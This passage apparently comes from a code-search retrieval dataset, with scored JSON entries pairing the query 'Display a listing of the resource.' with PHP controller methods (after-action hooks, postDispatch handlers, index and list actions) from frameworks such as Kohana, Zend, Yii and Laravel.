serialize($json_array['View']);\n\t\t\t\t$this->response->body(json_encode($json_array));\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t//when no container sets request content as container\n\t\t\tif (isset($this->view_container) === FALSE)\n\t\t\t{\n\t\t\t\t$this->view_container = $this->view_content;\n\t\t\t}\n\t\t\t\t\n\t\t\t//sets main view\n\t\t\t$view_main = View::factory('Container/Main')->set('view', $this->view_container);\n\t\t\t$this->template->set('view_container', $view_main);\n\t\t\t\t\n\t\t\t/**\n\t\t\t * create header menu, Zend_ACL menu method\n\t\t\t*/\n\t\t\t$header = Manager::factory('Header', NULL);\n\t\t\t$header->index($this->template);\n\t\t}\n\t\tparent::after();\n\t}", "title": "" }, { "docid": "f97c9b9046446759b4e7f78e5d3353e3", "score": "0.6608166", "text": "function afterroute(){\n\t}", "title": "" }, { "docid": "e06f5859041121affdb1bd9a7e82473c", "score": "0.6600759", "text": "public function afterDispatch(MvcEvent $e)\n\t{\n\t}", "title": "" }, { "docid": "c6301844a726e3159772019eccadcbb7", "score": "0.65967375", "text": "public function execute()\n\t{\n\t\t// Execute the before action method\n\t\t$this->before();\n\t\t// Execute the action itself\n\t\t$this->action();\n\t\t// Execute the after action method\n\t\t$this->after();\n\t}", "title": "" }, { "docid": "513cd7b331e3ddce5c886eb20492deaf", "score": "0.65897626", "text": "public function afterAction($action, $out)\n {\n }", "title": "" }, { "docid": "c631d0e2bd52bd6d87db0c292a035655", "score": "0.65871155", "text": "public function postProcess()\n {\n $redirector = Zend_Controller_Action_HelperBroker::getStaticHelper('redirector');\n $redirector->setGotoUrl('/project/list');\n }", "title": "" }, { "docid": "96b53ac6fa446b6b4417a09a7dabbb54", "score": "0.6583481", "text": "function afterExecuteRoute() {\n $this->user_session->shutdown();\n }", "title": "" }, { "docid": "85556a9b0dfc5505e4f2e7cb3ea9b82f", "score": "0.6580453", "text": "public function postDispatch()\n {}", "title": "" }, { "docid": "d4abe29e05be06b7ee47a9315513ac10", "score": "0.6578282", "text": "public function execute ()\r\n {\r\n // any request methods, so the processing skips directly to the view\r\n }", "title": "" }, { "docid": "d4abe29e05be06b7ee47a9315513ac10", "score": "0.6578282", "text": "public function execute ()\r\n {\r\n // any request methods, so the processing skips directly to the view\r\n }", "title": "" }, { "docid": "abde707f7b3e31d6cc0112ceb9874201", "score": "0.6572904", "text": "public function postProcess()\n {\n }", "title": "" }, { "docid": "78c964e755d8851ef5806f791bc57608", "score": "0.65689665", "text": "function afterAction()\n {\n $words = $this->Bill->cartModel->productModel->getAllNameProduct();\n $this->set('words',$words);\n }", "title": "" }, { "docid": "d53a43e23911a64c1df9ce01deed908e", "score": "0.6550661", "text": "public function postDispatch()\n {\n parent::postDispatch();\n\n }", "title": "" }, { "docid": "3bc5e06896dc72cb0a24f988a11ffff1", "score": "0.6548859", "text": "public function afterSave(){}", "title": "" }, { "docid": "8734587700327b5b8a477478ce3132f5", "score": "0.6532943", "text": "public function executeNotifyPostDispatch()\r\n {\r\n $this->_controller->postDispatch();\r\n }", "title": "" }, { "docid": "638507ceda45c49a525c19066b059d73", "score": "0.6528224", "text": "public function after()\n\t{\n\t\t// Set headers to not cache anything\n\t\t$this->response->headers('cache-control', 'no-cache, no-store, max-age=0, must-revalidate');\n\n\t\t// Set the content-type header\n\t\t$this->response->headers('content-type', 'application/json');\n\n\t\t// Set and encode the body data\n\t\t$this->response->body(json_encode($this->body));\n\n\t\t// Execute parent's after method\n\t\tparent::after();\n\t}", "title": "" }, { "docid": "9b2d0573be17001f3ee58d2aca632da8", "score": "0.65196043", "text": "public function onAfterAction($event) {\n\t\t$this->raiseEvent('onAfterAction',$event);\n\t}", "title": "" }, { "docid": "2c314dcfe3e12ae3ab07ccef3bce06ab", "score": "0.65123886", "text": "public function postDispatch() : void {\n\t}", "title": "" }, { "docid": "85a8da762d34e0f17f752568d7ce931b", "score": "0.65038043", "text": "protected function afterAction($action) {\r\n if ($this->errors == null) {\r\n $this->success = true;\r\n if (\\Yii::app()->request->requestType == 'GET') {\r\n $this->toArray();\r\n $this->complete();\r\n } else {\r\n $this->complete();\r\n }\r\n } else {\r\n\r\n }\r\n\r\n parent::afterAction($action);\r\n }", "title": "" }, { "docid": "8a06912006fd3aa4e2b01e4faea23469", "score": "0.65018666", "text": "protected function after_filter() {\n\t}", "title": "" }, { "docid": "eac6a189d026fade8b2606528a6506e0", "score": "0.6493025", "text": "public function after()\n {\n\n if ( ! $this->auto_render ) {\n parent::after();\n return;\n }\n\n if ($this->ajax_auto_partial\n && $this->request->is_ajax()) {\n $this->render_partial();\n return;\n }\n\n $this->set_view();\n\n foreach ($this->bundles as $bundle) {\n Base_Media::instance()->bundle($bundle);\n }\n\n $this->set_favicon($this->config_item('favicon'));\n $this->media_by_default();\n $controller_vars = $this->dynamic_properties();\n $this->view->set($controller_vars);\n if ($this->layout) {\n $controller_vars['content'] = $this->view->render();\n $content = View::factory('layout/'.$this->layout, $controller_vars);\n }\n else {\n $content = $this->view;\n }\n $this->template->content = $content->render();\n parent::after();\n }", "title": "" }, { "docid": "eb04f565a20b21b8ef0420734891d959", "score": "0.6479301", "text": "protected function executeAction() {}", "title": "" } ]
26d71a0b0829d496c8e6bbe23ccaa28a
Display a listing of the resource.
[ { "docid": "5b1955e7b3d50faeab13d8b6c4bd4fed", "score": "0.0", "text": "public function index()\n {\n $prices = Price::all();\n\n return view('prices.index', compact('prices'));\n }", "title": "" } ]
[ { "docid": "66dba62b6171d79d179d2efe10c0caba", "score": "0.74747115", "text": "public function index()\n\t{\n\t\t// Paginate resource resutls\n\t\t$results = $this->paginate();\n\n\t\t// If results found add asset to make tables responsive\n\t\t$results->total();\n\n\t\t// Create header links for sorting by column\n\t\t$links = (object) link_to_sort_by($this->resource->getVisibleLabels());\n\n\t\t// Set the route for the return button\n\t\t$returnRouteName = replace_last_segment($this->prefix);\n\n\t\t// Add data to the view\n\t\t$view = view('resource.index', compact(['results', 'links', 'returnRouteName']));\n\n\t\t// Add data to the layout\n\t\t$this->layout->title = $this->resource->plural();\n\t\t$this->layout->subtitle = ($results->lastPage() > 1) ? sprintf(_('Page %d/%d'), $results->currentPage(), $results->lastPage()) : _('Index');\n\n\t\t// Return layout + view\n\t\treturn $this->layout($view);\n\t}", "title": "" }, { "docid": "26a2d94e339f9f1ef18aaa8555d5948f", "score": "0.74559", "text": "public function indexAction()\n {\n $limit = $this->Request()->getParam('limit', 1000);\n $offset = $this->Request()->getParam('start', 0);\n $filter = $this->Request()->getParam('filter', []);\n $sort = $this->Request()->getParam('sort', []);\n\n $result = $this->resource->getList($offset, $limit, $filter, $sort);\n\n $this->View()->assign($result);\n $this->View()->assign('success', true);\n }", "title": "" }, { "docid": "26a2d94e339f9f1ef18aaa8555d5948f", "score": "0.74559", "text": "public function indexAction()\n {\n $limit = $this->Request()->getParam('limit', 1000);\n $offset = $this->Request()->getParam('start', 0);\n $filter = $this->Request()->getParam('filter', []);\n $sort = $this->Request()->getParam('sort', []);\n\n $result = $this->resource->getList($offset, $limit, $filter, $sort);\n\n $this->View()->assign($result);\n $this->View()->assign('success', true);\n }", "title": "" }, { "docid": "725058cd65108ac80a78fe0051c949b4", "score": "0.74051094", "text": "public function lists()\n\t{ \n\t\t$input \t = $this->getListRequest();\t\t\n\t\t$resources = $this->resourceRepository->find($input['take'], $input['skip'], $input['sort'], $input['filter']);\n\t\t$total = $this->resourceRepository->count($input['filter']);\n\n\t\treturn $this->makeListResponse($resources, $total);\n\t}", "title": "" }, { "docid": "870d86aa3e5336ed0150f4b1a79d3bc6", "score": "0.7393241", "text": "public function listAction()\n {\n $entityRepository = $this->getRepository();\n $entities = $entityRepository->findAll();\n\n return $this->render(\n $this->getTemplate(__FUNCTION__),\n [\n 'entities' => $entities,\n ]\n );\n\n }", "title": "" }, { "docid": "18be17ef8678843ecf6d65f5aa5a9ee8", "score": "0.73768365", "text": "public function actionList() {\r\n\t\t// ToDo: Add security, Add pagination\r\n\t\t\r\n\t\t// Get a list of all the required resources\r\n\t\t$models = \\parallel\\yii\\ActiveRecord::model($this->_model)->findAll();\r\n\t\t\r\n\t\t// Return the list to the client\r\n\t\t$this->sendResponse($models);\r\n\t}", "title": "" }, { "docid": "fc2792e1b13ff38e0c9384e5367be91c", "score": "0.7355509", "text": "public function actionList()\n {\n return $this->render('list');\n }", "title": "" }, { "docid": "143d9a58e87ac1f21fc152d696ad25d6", "score": "0.72710556", "text": "public function index()\n {\n $catalog_lists = Catalog::paginate(GlobalEnum::PerPage);\n\n if ($catalog_lists->total()) {\n return $this->ok('', CatalogResource::collection($catalog_lists)->response()->getData(true));\n }\n\n return $this->ok(__('global.record_not_found'));\n }", "title": "" }, { "docid": "393e0d0bda703c386c7b465265bed633", "score": "0.71704257", "text": "public function indexAction()\n {\n $filter = $this->Request()->getParam('filter', []);\n\n $result = $this->resource->getList($filter);\n\n //Api controllers inherit from the shopware_controllers api rest.\n //It extends the enlight_action_controller,but\n //overrides predispatch and postdispatch method through which it defines\n //details regarding views,setting headers and json_encoding the results from the resources\n $this->View()->assign($result);\n $this->View()->assign('success', true);\n }", "title": "" }, { "docid": "915fb596a541fe3490b48ffd04162d2e", "score": "0.7157241", "text": "public function listAction()\n {\n $page = (int) $this->params()->fromRoute('page', 1);\n return $this->forward()->dispatch($this->getRouteIdentifierPrefix(), array('action' => 'index', 'page' => $page));\n }", "title": "" }, { "docid": "6c72516079b466368fa3fffe94f8ae35", "score": "0.7132358", "text": "function index() {\n render(\"list\");\n }", "title": "" }, { "docid": "d9b48afdd79e90cf917b6d111ca6416b", "score": "0.71212447", "text": "public function index()\n {\n $resources = Resource::orderBy('id', 'desc')->paginate(Cache::get('pagination', 10));\n\n return view('resources.index')->with(compact('resources'));\n }", "title": "" }, { "docid": "effdeaea4d3380c2ef0732f21651687d", "score": "0.71066624", "text": "public function index()\n {\n $resources = $this->resource->all();\n\n return view('laramanager::resources.index', compact('resources'));\n }", "title": "" }, { "docid": "c92dfed9c6b1a4ac51bf0fb7614258f9", "score": "0.7106149", "text": "public function listAction ( )\n {\n $model = $this->getModel($this->_modelName);\n $request = $this->getRequest();\n\n $this->view->items = $model->paginate($request->getParams());\n\n }", "title": "" }, { "docid": "90a1f4f6b697ee3ec0f4fa576dd38523", "score": "0.7098513", "text": "public function index()\n {\n return view('resources', ['resources' => Resource::orderBy('name', 'asc')->get(), 'listings' => RentResource::whereDate('start_time', '=', Carbon::today()->toDateString())->orderBy('start_time', 'asc')->get() ]);\n }", "title": "" }, { "docid": "ba6dd0e8295ef2a549fdf27a9cd12661", "score": "0.70087796", "text": "public function listAction()\n\t{\n\t\t$params = ['page' => 'page-catalog-list'];\n\n\t\tforeach( app( 'config' )->get( 'shop.page.catalog-list' ) as $name )\n\t\t{\n\t\t\t$params['aiheader'][$name] = Shop::get( $name )->header();\n\t\t\t$params['aibody'][$name] = Shop::get( $name )->body();\n\t\t}\n\n\t\treturn Response::view( Shop::template( 'catalog.list' ), $params )\n\t\t\t->header( 'Cache-Control', 'private, max-age=' . config( 'shop.cache_maxage', 30 ) );\n\t}", "title": "" }, { "docid": "79651e14a4b964194c02d9ee700a9ad5", "score": "0.70079595", "text": "public function list(): void\n {\n $list = $this->mysql->select($this->getListQuery());\n $this->page->show($this->getListPageTemplate(), ['list' => $list]);\n }", "title": "" }, { "docid": "5f679e4189acdce779f6ef9e23a350f9", "score": "0.700236", "text": "public function actionList()\n {\n $pagination = $this->setPagination('article');\n \n $list = $pagination['recordList'];\n $pages = $pagination['pages'];\n\n return $this->render('list',['list' => $list,'pages' => $pages]);\n }", "title": "" }, { "docid": "904740a092ed938ccd50ca494c286c30", "score": "0.69705874", "text": "public function list()\r\n\t\t{\r\n\t\t\t// Page title\r\n\t\t\t$this->title = 'Pathways list';\r\n\r\n\t\t\t// Function parameter\r\n\t\t\t$parametros = ( func_num_args() >= 1 ) ? func_get_arg(0) : array();\r\n\r\n\t\t\t// Load models\r\n\t\t\t$settings_model = $this->load_model('settings-model');\r\n\t\t\t$pathway_model = $this->load_model('pathway-model');\r\n\r\n\t\t\t/** Load files from view **/\r\n\r\n\t\t\t// Load the template definitions\r\n\t\t\trequire ABSPATH . '/views/_includes/template_config.php';\r\n\r\n\t\t\t// Load the template head section\r\n\t\t\trequire ABSPATH . '/views/_includes/template_start.php';\r\n\r\n\t\t\t// Load the page initial definitions\r\n\t\t\trequire ABSPATH . '/views/_includes/page_head.php';\r\n\r\n\t\t\t// Load the page itself\r\n\t\t\trequire ABSPATH . '/views/pathway_module/pathway_list-view.php';\r\n\r\n\t\t\t// Load the page footer\r\n\t\t\trequire ABSPATH . '/views/_includes/template_end.php';\r\n\r\n\t\t}", "title": "" }, { "docid": "bc75e71d755fa3c285f90da23f029065", "score": "0.6961202", "text": "public function listingAction()\n {\n /** @var Factory $Factory */\n $Factory = $this->get('factory');\n\n /** @var Product[] $Products */\n $Products = $Factory->getAllProducts();\n\n return $this->render(\n 'ACAShopBundle:Products:list.html.twig',\n array(\n 'Products' => $Products\n )\n );\n }", "title": "" }, { "docid": "bdcd442e256866ea4c741c1ff1cc3685", "score": "0.6940423", "text": "public function index()\n {\n // redirect($this->_url(\"all\"));\n $this->_create_list();\n $this->_display();\n }", "title": "" }, { "docid": "cffe60b04946e2b283ae38e3049adc3f", "score": "0.69368476", "text": "public function listAction()\n {\n if (!$this->service) {\n throw new \\RuntimeException('No CRUD service defined');\n }\n\n $label = (isset($this->label)) ? $this->label : '';\n \n $service = $this->getServiceLocator()->get($this->service);\n\n $this->trigger(CrudEvent::EVENT_LIST_PRE);\n\n $where = $this->parseWhere($this->getRequest());\n $order = $this->params()->fromQuery('order', array());\n\n $perPage = $service::INDEX_LIMIT;\n\n $page = ($this->params()->fromQuery('page', 1) -1);\n \n $list = $service->getList($where, $order, ($page * $perPage), $perPage);\n\n $count = $service->getCount($where);\n\n $this->trigger(CrudEvent::EVENT_LIST_POST, $list);\n\n $currentQuery = $this->params()->fromQuery();\n unset($currentQuery['page']);\n\n return $this->loadView(\n 'zucchi-admin/crud/list', \n array(\n 'resource' => $this->resource,\n 'list' => $list,\n 'count' => $count,\n 'page' => $page+1,\n 'currentQuery' => http_build_query($currentQuery),\n 'pages' => ceil($count/$perPage),\n 'listFields' => $this->listFields,\n 'metadata' => $service->getMetaData(),\n 'where' => $where,\n 'order' => $order,\n 'label' => $label,\n\n )\n );\n }", "title": "" }, { "docid": "d033fdb664b5308858d97fa62eaec1dd", "score": "0.6919906", "text": "public function showResourcesList(array $data);", "title": "" }, { "docid": "26f8fdc71a4939e7422fb301f2c7eb6b", "score": "0.69135225", "text": "public function index()\n {\n $questions = Question::latest()->paginate(10);\n\n return QuestionResource::collection($questions)->additional(['result' => 1, 'message' => 'Retrieved.']);\n }", "title": "" }, { "docid": "9614c14c55791e230f2a0558a1a13ab5", "score": "0.68943536", "text": "public function index() {\n $arrObjResource = Resource::latest()->paginate(self::INT_LIMIT);\n return view('resource.index', compact('arrObjResource'))\n ->with('i', (request()->input('page', 1) - 1) * 5);\n }", "title": "" }, { "docid": "4f3eab1a65aa0d6cf0ac4845abdf26ac", "score": "0.6890335", "text": "public function index()\n {\n $resources = Resource::all();\n\n return view('admin.resource.index',['resources' => $resources]);\n }", "title": "" }, { "docid": "e4d514bd62d1c63ab8647f831833ec4f", "score": "0.68843615", "text": "public function index()\n {\n \n return $this->list();\n \n }", "title": "" }, { "docid": "227cc9dea5d541678d4dfd2730fdac56", "score": "0.687347", "text": "public function index()\n {\n $queryBuilder = QueryBuilder::for(Repository::enabled())\n ->allowedFilters([\n 'name',\n 'license',\n 'description',\n AllowedFilter::exact('author.name'),\n 'author.display_name',\n AllowedFilter::exact('tags.name'),\n 'tags.category.name',\n ])\n ->allowedSorts([\n 'name',\n 'stargazers',\n 'last_push',\n 'author.name',\n ])\n ->defaultSort('-stargazers')\n ->with('author', 'tags', 'tags.category');\n // Paginate if request has a page parameter\n if (request()->has('page')) {\n return RepositoryFullResource::collection($queryBuilder->jsonPaginate(100));\n } else {\n return RepositoryFullResource::collection($queryBuilder->get());\n }\n }", "title": "" }, { "docid": "85415f9379a58cfef9a5550ad415fc13", "score": "0.6871514", "text": "public function index()\n {\n return StatusResource::collection(\n Status::latest()->paginate(10)\n );\n }", "title": "" }, { "docid": "9bdc4409374aa0ca956ab945dfb3719d", "score": "0.68563753", "text": "public function listAction(){\r\n\t\t\t\r\n\t\t\t//$totalItem \t\t\t\t\t= $this->_model->countItem($this->arrParams, null);\r\n\t\t\t//$this->setPagination(array(\"totalItemPerPage\" => 5, \"pageRange\" => 2));\r\n\t\t\t//$this->_view->pagination \t= new Pagination($totalItem, $this->_pagination);\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t$this->_view->nameCategory \t= $this->_model->getNameCategory($this->arrParams, array(\"task\" => \"get-name-category\"));\r\n\t\t\t$this->_view->_listBook\t\t= $this->_model->infoItem($this->arrParams, null);\r\n\r\n\r\n\t\t\t$this->_view->_title = \"<title>List</title>\";\r\n\t\t\t$this->_view->render(\"book/list\");\r\n\t\t}", "title": "" }, { "docid": "728f8e03f8b5006e5477454a725a1745", "score": "0.6847423", "text": "public function index()\n {\n return response(EntryList::getAll(), 200);\n }", "title": "" }, { "docid": "27835938400657712b507591c21e8655", "score": "0.683678", "text": "public function actionIndex()\n\t{\n\t\t$objects = self::apiRequest();\n\t\t\n\t\t$this->render('index',array(\n\t 'objects'=>$objects,\n\t 'page'=>$this->pNumber\n\t ));\n\t}", "title": "" }, { "docid": "4b8e52b6fdf81afdda958487f24d56b3", "score": "0.68279797", "text": "public function listAction()\n {\n $catalog = $this->container->get('catalog');\n\n $book_list = $catalog->listBooks();\n\n return [\n 'list' => $book_list,\n ];\n }", "title": "" }, { "docid": "ddc72035c6eee5bda438fcd2d80fe704", "score": "0.68218684", "text": "public function index() {\n\t\t$resources = Resource::with(array('projects' => function($query) {\n\t\t\t$query->orderBy('updated_at','desc');\n\t\t}))->take(10)->get();\n\t\treturn View::make('resource/index', compact('resources'));\n\t}", "title": "" }, { "docid": "d773e5fd60f9ab29f11ae0739ce3ee4a", "score": "0.68212044", "text": "public function index( ) {\n\t Session::set(\"list_refer\", $_SERVER['REQUEST_URI']);\n\t\t$this->set_order();\n\t\t$this->display_action_name = 'List Items';\n\n\t\t$this->all_rows = $this->model->order($this->get_order())->page($this->this_page,$this->list_limit);\n\t\tif(!$this->all_rows) $this->all_rows=array();\n\t\t$this->filter_block_partial = $this->render_partial(\"filter_block\");\n\t\t$this->list = $this->render_partial(\"list\");\n\t}", "title": "" }, { "docid": "cf0df3ff4d7be7a54e874c2996c82e4e", "score": "0.68184847", "text": "public function listAction() {\n\t\t$this->view->title = $this->translator->translate(\"Applications\");\n\t\t$this->view->description = $this->translator->translate(\"Here you can see all applications allowed access via API\");\n\t\t$this->view->buttons = array(array(\"url\" => \"/admin/applications/new/\", \"label\" => $this->translator->translate('New'), \"params\" => array('css' => array('button', 'float_right')))\n\t\t\t\t\t\t\t\t);\n\t\t$this->datagrid->setConfig ( OauthClients::grid() )->datagrid ();\n\t}", "title": "" }, { "docid": "7dd3e647ccd9b808f98f8f06413992bc", "score": "0.6815415", "text": "public function listingAction()\r\n {\r\n $oZendDbSelect = new Zend_Db_Select(Zend_Db_Table::getDefaultAdapter());\r\n $oSelect = $oZendDbSelect->from('r_scenarios')->order('r_scenario_id desc');\r\n \r\n // Search engine on the query\r\n $oMySearchEngine = new My_Search_Engine($oSelect);\r\n \r\n $oMySearchEngine->findWordOn(array('r_scenario_libelle' => array('operator' => 'like')));\r\n $oMySearchEngine->findByFields(array(\r\n 'r_scenario_id' => array('operator' => 'eql'),\r\n 'r_scenario_actif' => array('operator' => 'eql'),\r\n 'r_scenario_libelle' => array('operator' => 'like')\r\n ));\r\n\r\n $oMySearchEngine->makeOrderBy();\r\n \r\n // Downloading the filtered list in CSV\r\n if ($this->_helper->ContextSwitch()->getCurrentContext() == 'csv') {\r\n $oAdapterExport = new My_Data_Export_Source_Adapter_Select($oMySearchEngine->getSelect());\r\n $oExport = new My_Data_Export_CSV($oAdapterExport);\r\n $this->view->csv = $oExport->make();\r\n $this->view->filename = Phoenix_Data_Export_Csv::buildFileName();\r\n } // Viewing the filtered list in HTML\r\n else {\r\n // Handle pagination\r\n $oAdapter = new Zend_Paginator_Adapter_DbSelect($oMySearchEngine->getSelect());\r\n $oPaginator = new My_Paginator($oAdapter);\r\n $oPaginator->setCurrentPageNumber($this->_getParam('page'));\r\n $oPaginator->setItemCountPerPage(15);\r\n $this->view->paginator = $oPaginator;\r\n }\r\n }", "title": "" }, { "docid": "a422edadfd877c23034b14eb7c872f20", "score": "0.680176", "text": "public function index()\n {\n // Get Students\n\n $students = Student::paginate(10); \n return StudentResource::collection($students);\n }", "title": "" }, { "docid": "8fb097585964e814f54986427cb4f2a5", "score": "0.6801259", "text": "public function listAction ()\n {\n\n $this->_helper->viewRenderer->setNoRender(false);\n $this->_helper->viewRenderer->setViewScriptPathSpec(\"server/list.phtml\");\n $this->_helper->serverTester->listAction($this->_serverClass, $this);\n }", "title": "" }, { "docid": "9eac380992aafa51fd5f8cad7dd703c0", "score": "0.6791666", "text": "public function index()\n\t{\n\t\treturn View::make('backoffice.resource.index');\n\t}", "title": "" }, { "docid": "5d12cb46b97d3119f7b5023b68501a38", "score": "0.678868", "text": "public function listAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $altinvs = $em->getRepository('SGIBundle:Altinv')->findAll();\n\n return $this->render('altinv/list.html.twig', array(\n 'altinvs' => $altinvs,\n ));\n }", "title": "" }, { "docid": "971c5bf5ae183faa04c5c48cbd18c860", "score": "0.67845964", "text": "public function do_list()\n {\n\n $request = $this->getRequest();\n $console = $this->getConsole();\n\n $workarea = $console->tpl->getWorkArea( );\n $workarea->addTemplate( 'usermgmt/list' );\n\n }", "title": "" }, { "docid": "009c68f22edb5d32fe04a4694c775ca1", "score": "0.67772275", "text": "public function indexAction() {\n $this->render('list', array(\n 'entries' => $this->newsRepository->getAll(array('date' => 'DESC'))\n ));\n }", "title": "" }, { "docid": "f942ddab63eeccb58e9b51ecacb7adee", "score": "0.67770517", "text": "public function indexAction() {\n\t\t$page = intval($this->getInput('page'));\n\t\t$perpage = $this->perpage;\n\t\tlist($total, $result) = Resource_Service_Attribute::getList($page, $perpage,array('at_type' => 1,'status' => 1));\n\t\t$this->assign('result', $result);\n\t\t$this->assign('total', $total);\n\t\t$this->assign('pager', Common::getPages($total, $page, $perpage, $this->actions['listUrl'].'?'));\n\t}", "title": "" }, { "docid": "1cda64db2e68c557b90cdabeccaba33f", "score": "0.67594475", "text": "public function index()\n {\n //\n $items = Item::all();\n return ItemResource::collection($items);\n }", "title": "" }, { "docid": "183389798fc3f84d25abd7fc3486c685", "score": "0.67534196", "text": "function index()\n\t\t{\n\t\t\tif($this->AJAXCall)\n\t\t\t\texit;\n\t\t\t\n\t\t\t$this->_generate_listing(false);\n\t\t}", "title": "" }, { "docid": "117edb0c09e0fdcb587db5412ef18996", "score": "0.6751079", "text": "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n $user = $em->getRepository('TicketswapUserBundle:Users')->find(1);\n $listings = $em->getRepository('TicketswapListingBundle:Listings')->findBy(['user' => $user]);\n\n return $this->render('listings/index.html.twig', array(\n 'listings' => $listings,\n ));\n }", "title": "" }, { "docid": "a0016ac4bfda3ac0418505813ba2e862", "score": "0.6734381", "text": "public function indexAction()\n {\n if ( ! $this->getUser()) {\n return $this->redirect($this->generateUrl('user_sign_in'));\n }\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('BWBlogBundle:Resource')->findBy(array(\n 'user' => $this->getUser(),\n ), array(\n 'created' => 'DESC',\n ));\n $resources = new ArrayCollection($entities);\n\n return $this->render('BWBlogBundle:Resource:index.html.twig', array(\n 'entities' => $entities,\n 'resources' => $resources,\n ));\n }", "title": "" }, { "docid": "274943ce909ef8e9f446ec40976ee886", "score": "0.6731582", "text": "public function listAction()\n {\n $all = $this->rss->findAll();\n \n $this->theme->setTitle(\"Visa alla RSS-flöden\");\n $this->views->add('rss/list-all', [\n 'feeds' => $all,\n 'title' => \"Visa alla RSS-flöden\",\n ], 'main');\n \n $this->views->add('rss/rss-sidebar', [], 'rsidebar');\n }", "title": "" }, { "docid": "c6af5753a45a23a4039724edd2030d18", "score": "0.6731379", "text": "public function index()\n {\n $data = array(\n 'objects' => $this->instituicaoBo->list_all(),\n 'title' => 'Instituição',\n 'heading' => 'Lista de',\n );\n\n $this->load->view('/instituicao/list_instituicao.html.php', $data);\n }", "title": "" }, { "docid": "ed091402879b52de0ec1b21125fb6df3", "score": "0.67281276", "text": "public function index()\n {\n //Get Products\n $products = Product::paginate(100);\n \n //Return collection of products as resource\n return ProductResource::collection($products);\n }", "title": "" }, { "docid": "0ee391ae331b2e93b8a1c88e428dfb9a", "score": "0.6725677", "text": "public function listAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $rentals = $em->getRepository('SGIBundle:Rental')->findAll();\n\n return $this->render('rental/list.html.twig', array(\n 'rentals' => $rentals,\n ));\n }", "title": "" }, { "docid": "c455819674d3f353cb9e20703ef52803", "score": "0.67255723", "text": "public function index()\n {\n $this->list_view();\n }", "title": "" }, { "docid": "d89867a60ba15fed734e46000a36620d", "score": "0.6722664", "text": "static function listAction() {\n // Get user files\n $users = self::getUsers();\n\n // Display user ids\n echo '<ul>';\n\n foreach ($users as $user) {\n echo '<li><a href=\"/users/' . $user->USR . '\">' . $user->NAME . ' (' . $user->USR . ')</a></li>';\n }\n\n echo '</ul>';\n }", "title": "" }, { "docid": "b10432984ae1b667b192f3f5d3985a4c", "score": "0.67152315", "text": "public function showList()\n {\n //var_dump($this->post);\n if (isset($this->post['page']) || isset($this->get['page'])) {\n if ($this->post) {\n $this->doListing($this->criteria, $this->orderBy);\n }\n if ($this->get) {\n $this->doPagination();\n }\n } else {\n //..destrói todas as sessões gravadas e cria uma view limpa.\n Session::destroySession('sqlData');\n Session::destroySession('criteria');\n Session::destroySession('orderBy');\n Session::destroySession('limit');\n Session::destroySession('lastPage');\n $this->viewList->show();\n }\n }", "title": "" }, { "docid": "aa4f8e62dc57e3f9dd552a60b0f54091", "score": "0.67116815", "text": "public function ListView()\n\t{\n\t\t$this->Render();\n\t}", "title": "" }, { "docid": "aa4f8e62dc57e3f9dd552a60b0f54091", "score": "0.67116815", "text": "public function ListView()\n\t{\n\t\t$this->Render();\n\t}", "title": "" }, { "docid": "aa4f8e62dc57e3f9dd552a60b0f54091", "score": "0.67116815", "text": "public function ListView()\n\t{\n\t\t$this->Render();\n\t}", "title": "" }, { "docid": "aa4f8e62dc57e3f9dd552a60b0f54091", "score": "0.67116815", "text": "public function ListView()\n\t{\n\t\t$this->Render();\n\t}", "title": "" }, { "docid": "aa4f8e62dc57e3f9dd552a60b0f54091", "score": "0.67116815", "text": "public function ListView()\n\t{\n\t\t$this->Render();\n\t}", "title": "" }, { "docid": "aa4f8e62dc57e3f9dd552a60b0f54091", "score": "0.67116815", "text": "public function ListView()\n\t{\n\t\t$this->Render();\n\t}", "title": "" }, { "docid": "aa4f8e62dc57e3f9dd552a60b0f54091", "score": "0.67116815", "text": "public function ListView()\n\t{\n\t\t$this->Render();\n\t}", "title": "" }, { "docid": "ff3e5f5bb761df19ee88cd46c9c44f75", "score": "0.6711365", "text": "public function index()\n {\n $this->global['pageTitle'] = 'List Partners - '.APP_NAME;\n $this->global['pageMenu'] = 'List Partners';\n $this->global['contentHeader'] = 'List Partners';\n $this->global['contentTitle'] = 'List Partners';\n $this->global ['role'] = $this->role;\n $this->global ['name'] = $this->name;\n $this->global ['repo'] = $this->repo;\n \n $data['readonly'] = $this->readonly;\n $data['classname'] = $this->cname;\n $data['url_list'] = base_url($this->cname.'/list/json');\n $this->loadViews($this->view_dir.'index', $this->global, $data);\n }", "title": "" }, { "docid": "a82e643c16a81545d59c105f6fd9019e", "score": "0.6710445", "text": "public function index()\n {\n return PlaylistResource::collection(Playlist::with('tracks')->paginate());\n }", "title": "" }, { "docid": "9c3a8017fadc1446e144ef2847a75de3", "score": "0.6704527", "text": "public function index()\n {\n return PlaylistResource::collection(\\App\\Playlist::orderBy('created_at', 'desc')->get());\n }", "title": "" }, { "docid": "1c6e0baa6678b891bebbc943f9480efa", "score": "0.6700806", "text": "public function indexAction()\r\n\t{\r\n\r\n\t\t$this->_view->_title = ucfirst($this->_controller) . ' Manager :: List';\r\n\r\n\t\t $totalItems = $this->_model->countItems($this->_arrParam);\r\n\t\t $configPagination = ['totalItemsPerPage' => 3, 'pageRange' => 3];\r\n\t\t$this->setPagination($configPagination);\r\n\t\t$this->_view->pagination = new Pagination($totalItems, $this->_pagination);\r\n\t\r\n\t\t$this->_view->Items = $this->_model->listItem($this->_arrParam, null);\r\n\t\t$this->_view->slbGroup = $this->_model->itemInSelectBox($this->_arrParam);\r\n\t\t$this->_view->render($this->_controller . '/index');\r\n\t}", "title": "" }, { "docid": "da46f30f701104b01168396ab42fd3e4", "score": "0.6699936", "text": "public function actionList()\n\t{\n\t\t$data = Desire::getAll(10);\n\t\t$articles = $data['articles'];\n\t\t$count = $data['count'];\n\n\n\n\t\treturn $this->render('list', [\n\t\t\t'articles' => $articles,\n\t\t\t'count' => $count,\n\t\t\t'ajaxUrl' => '/desire/desire/list-ajax'\n\t\t]);\n\t}", "title": "" }, { "docid": "8fdc346d2ae73862487e8562ba0d2f8e", "score": "0.6697069", "text": "public function index()\n {\n $this->crud->hasAccessOrFail('list');\n\n $this->data['crud'] = $this->crud;\n $this->data['title'] = ucfirst(($this->book ? $this->book->title . ' --> ' : '') . $this->crud->entity_name_plural);\n\n // load the view from 